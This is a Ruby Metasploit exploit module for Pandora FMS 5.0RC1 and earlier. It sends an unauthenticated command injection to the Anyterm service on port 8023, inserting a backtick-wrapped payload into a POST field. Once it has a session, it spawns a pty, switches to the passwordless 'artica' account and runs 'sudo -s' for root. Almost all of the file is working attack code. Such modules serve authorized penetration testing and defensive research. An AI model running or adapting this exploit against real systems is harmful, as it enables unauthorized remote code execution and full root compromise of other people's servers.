109 lines
3.3 KiB
Ruby
109 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Pandora FMS Remote Code Execution",
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'Description' => %q{
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This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower.
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It will leverage an unauthenticated command injection in the Anyterm service on
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port 8023. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1
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the user "artica" is not assigned a password by default, which makes it possible to su
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to this user from the "pandora" user. The "artica" user has access to sudo without a
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password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0
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and lower force a password for the "artica" user during installation.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'xistence <xistence[at]0x90.nl>' # Vulnerability discovery and Metasploit module
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],
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'References' =>
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[
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],
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'Payload' =>
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{
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'BadChars' => "",
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl python',
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}
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},
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'Platform' => ['unix'],
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['Pandora 5.0RC1', {}]
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],
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'Privileged' => true,
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'DisclosureDate' => "Jan 29 2014",
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8023),
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OptString.new('TARGETURI', [true, 'The base path to the Pandora instance', '/']),
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], self.class)
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end
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def on_new_session(client)
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print_status("#{peer} - Trying to escalate privileges to root")
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# Spawn a pty for su/sudo
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client.shell_command_token("python -c 'import pty;pty.spawn(\"/bin/sh\")'")
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# Su to the passwordless "artica" account
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client.shell_command_token("su - artica")
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# The "artica" use has sudo rights without the need for a password, thus gain root priveleges
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client.shell_command_token("sudo -s")
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end
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def peer
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return "#{rhost}:#{rport}"
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end
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def check
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# Check version
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print_status("#{peer} - Trying to detect Pandora FMS Remote Gateway")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, "anyterm.html")
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})
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if res and res.code == 200 and res.body =~ /Pandora FMS Remote Gateway/
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print_good("#{peer} - Pandora FMS Remote Gateway Detected!")
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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print_status("#{peer} - Sending payload")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, "/anyterm-module"),
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'vars_post' => {
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'a' => "open",
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'p' => "`nohup #{payload.encoded}`"
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}
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})
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if not res or res.code != 200
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fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
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end
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end
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end
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